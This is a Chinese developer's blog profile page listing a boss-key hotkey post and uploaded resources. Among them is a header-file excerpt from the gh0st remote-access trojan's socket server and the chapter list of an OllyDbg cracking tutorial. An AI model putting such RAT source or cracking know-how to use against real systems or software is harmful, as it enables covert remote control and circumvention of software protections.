自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(1)
  • 资源 (11)
  • 收藏
  • 关注

原创 简单的老板键功能的实现

老板键,简单的理解就是,你在玩游戏的时候,看到老板要来了,你要用最快的方法关闭游戏窗口,当然最快的方法就是用键盘的快捷键。那么这个快捷键就是常说的老板键。在这里笔者用一个简单的方法实现了老板键的功能。确实很简单,主要用到RegistHotKey这个函数。用的是C++语言,平台是windows。废话少说,先上代码,然后再分析//在WM_CREATE消息中添加如下case WM_CREAT

2013-12-17 12:31:49 2947 2

互联网项目操盘手册.pdf

互联网项目操盘手册,讲解互联网项目如何操盘,十分值得一看。

2020-04-13

原则 pdf 作者: [美] 瑞·达利欧

※ 华尔街投资大神、对冲基金公司桥水创始人,人生经验之作 作者瑞·达利欧出身美国普通中产家庭,26岁时被炒鱿鱼后在自己的两居室内创办了桥水,现在桥水管理资金超过1 500亿美元,截至2015年年底,盈利超过450亿美元。达利欧曾成功预测2008年金融危机,现在将其白手起 家以来40多年的生活和工作原则公开。 ※ 多角度、立体阐述生活、工作、管理原则 包含21条高原则、139条中原则和365条分原则,涵盖为人处事、公司管理两大方面。此前从未有过的逐一详细解答,配合达利欧多年来的各种实例和感悟。任何人都可以轻松上手实践。用以指导桥水日常管理,是桥水的员工手册,帮助桥水屹立40余年不倒,经受住了现实考验。 ※ 半个金融圈、投资界、管理层都在期待简体中文版 2010年起,简略版的原则被放在桥水官网上,至今共计被下载了超过300万次,无数企业、管理者、职场人士

2019-04-03

php--二维码生成代码

谷歌开源的二维码生成代码 //processing form input //remember to sanitize user input in real-life solution !!! $errorCorrectionLevel = 'L'; if (isset($_REQUEST['level']) && in_array($_REQUEST['level'], array('L','M','Q','H'))) $errorCorrectionLevel = $_REQUEST['level']; $matrixPointSize = 4; if (isset($_REQUEST['size'])) $matrixPointSize = min(max((int)$_REQUEST['size'], 1), 10);

2015-07-23

sphinx + mmseg 中文分词

sphinx + mmseg 中文分词

2015-07-18

批量发博客

批量发新浪博客,注意,只是针对 新浪博客的,其他博客的暂时无效。方便,你把本地的文字上传到你的新浪博客里面

2014-06-28

gh0st的socket内核文件

#include <winsock2.h> #include <MSTcpIP.h> #pragma comment(lib,"ws2_32.lib") #include "Buffer.h" #include "CpuUsage.h" #include <process.h> #include <afxtempl.h> //////////////////////////////////////////////////////////////////// #define NC_CLIENT_CONNECT 0x0001 #define NC_CLIENT_DISCONNECT 0x0002 #define NC_TRANSMIT 0x0003 #define NC_RECEIVE 0x0004 #define NC_RECEIVE_COMPLETE 0x0005 // 完整接收 class CLock { public: CLock(CRITICAL_SECTION& cs, const CString& strFunc) { m_strFunc = strFunc; m_pcs = &cs; Lock(); } ~CLock() { Unlock(); } void Unlock() { LeaveCriticalSection(m_pcs); TRACE(_T("LC %d %s\n") , GetCurrentThreadId() , m_strFunc); } void Lock() { TRACE(_T("EC %d %s\n") , GetCurrentThreadId(), m_strFunc); EnterCriticalSection(m_pcs); } protected: CRITICAL_SECTION* m_pcs; CString m_strFunc; }; enum IOType { IOInitialize, IORead, IOWrite, IOIdle }; class OVERLAPPEDPLUS { public: OVERLAPPED m_ol; IOType m_ioType; OVERLAPPEDPLUS(IOType ioType) { ZeroMemory(this, sizeof(OVERLAPPEDPLUS)); m_ioType = ioType; } }; //lang2.1_3 struct ClientContext //简单分析ClientContext结构体然后回到 SendSelectCommand { SOCKET m_Socket; //套接字 // Store buffers CBuffer m_WriteBuffer; CBuffer m_CompressionBuffer; // 接收到的压缩的数据 CBuffer m_DeCompressionBuffer; // 解压后的数据 CBuffer m_ResendWriteBuffer; // 上次发送的数据包,接收失败时重发时用 int m_Dialog[2]; // 放对话框列表用,第一个int是类型,第二个是CDialog的地址 int m_nTransferProgress; // Input Elements for Winsock WSABUF m_wsaInBuffer; BYTE m_byInBuffer[8192]; // Output elements for Winsock WSABUF m_wsaOutBuffer; HANDLE m_hWriteComplete; // Message counts... purely for example purposes LONG m_nMsgIn; LONG m_nMsgOut; BOOL m_bIsMainSocket; // 是不是主socket ClientContext* m_pWriteContext; ClientContext* m_pReadContext; }; template<> inline UINT AFXAPI HashKey(CString & strGuid) { return HashKey( (LPCTSTR) strGuid); } #include "Mapper.h" typedef void (CALLBACK* NOTIFYPROC)(LPVOID, ClientContext*, UINT nCode); typedef CList<ClientContext*, ClientContext* > ContextList; class CMainFrame; class CIOCPServer { public: void DisconnectAll(); CIOCPServer(); virtual ~CIOCPServer(); NOTIFYPROC m_pNotifyProc; CMainFrame* m_pFrame; bool Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort); static unsigned __stdcall ListenThreadProc(LPVOID lpVoid); static unsigned __stdcall ThreadPoolFunc(LPVOID WorkContext); static CRITICAL_SECTION m_cs; void Send(ClientContext* pContext, LPBYTE lpData, UINT nSize); void PostRecv(ClientContext* pContext); bool IsRunning(); void Shutdown(); void ResetConnection(ClientContext* pContext); LONG m_nCurrentThreads; LONG m_nBusyThreads; UINT m_nSendKbps; // 发送即时速度 UINT m_nRecvKbps; // 接受即时速度 UINT m_nMaxConnections; // 最大连接数 protected: void InitializeClientRead(ClientContext* pContext); BOOL AssociateSocketWithCompletionPort(SOCKET device, HANDLE hCompletionPort, DWORD dwCompletionKey); void RemoveStaleClient(ClientContext* pContext, BOOL bGraceful); void MoveToFreePool(ClientContext *pContext); ClientContext* AllocateContext(); LONG m_nWorkerCnt; bool m_bInit; bool m_bDisconnectAll; BYTE m_bPacketFlag[5]; void CloseCompletionPort(); void OnAccept(); bool InitializeIOCP(void); void Stop(); ContextList m_listContexts; ContextList m_listFreePool; WSAEVENT m_hEvent; SOCKET m_socListen; HANDLE m_hKillEvent; HANDLE m_hThread; HANDLE m_hCompletionPort; bool m_bTimeToKill; CCpuUsage m_cpu; LONG m_nKeepLiveTime; // 心跳超时 // Thread Pool Tunables LONG m_nThreadPoolMin; LONG m_nThreadPoolMax; LONG m_nCPULoThreshold; LONG m_nCPUHiThreshold; CString GetHostName(SOCKET socket); void CreateStream(ClientContext* pContext); BEGIN_IO_MSG_MAP() IO_MESSAGE_HANDLER(IORead, OnClientReading) IO_MESSAGE_HANDLER(IOWrite, OnClientWriting) IO_MESSAGE_HANDLER(IOInitialize, OnClientInitializing) END_IO_MSG_MAP() bool OnClientInitializing (ClientContext* pContext, DWORD dwSize = 0); bool OnClientReading (ClientContext* pContext, DWORD dwSize = 0); bool OnClientWriting (ClientContext* pContext, DWORD dwSize = 0); };

2014-06-05

CTrueColorToolBar 类

class CTrueColorToolBar : public CToolBar { // Construction public: CTrueColorToolBar(); // Attributes private: BOOL m_bDropDown; struct stDropDownInfo { public: UINT uButtonID; UINT uMenuID; CWnd* pParent; }; CArray m_lstDropDownButton; // Operations public: BOOL LoadTrueColorToolBar(int nBtnWidth, UINT uToolBar, UINT uToolBarHot = 0, UINT uToolBarDisabled = 0); void AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uMenuID); private: BOOL SetTrueColorToolBar(UINT uToolBarType, UINT uToolBar, int nBtnWidth); // Overrides // ClassWizard generated virtual function overrides //{{AFX_VIRTUAL(CTrueColorToolBar) //}}AFX_VIRTUAL // Implementation public: virtual ~CTrueColorToolBar(); // Generated message map functions protected: //{{AFX_MSG(CTrueColorToolBar) afx_msg void OnToolbarDropDown(NMHDR * pnmh, LRESULT* plRes); //}}AFX_MSG DECLARE_MESSAGE_MAP() };

2014-06-04

使用OllyDbg从零开始Cracking

第一章-OD的各个窗口介绍 第二章-数制系统 第三章-寄存器 第四章-汇编指令 第五章-数学指令 第六章-比较和条件跳转指令 第七章-call,ret 第八章-循环,字符串指令和寻址方式 第九章-基本概念 第十章-断点 第十一章-硬件断点与条件断点 第十二章-消息断点

2014-05-04

各种跳转指令.pdf

汇编中各种跳转指令 jmp jne je 不错的资源

2013-11-23

电子商务与社交网络的可能结合.

我对电子商务和社交网络的一点思考,有兴趣的可以交流交流

2011-12-18

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除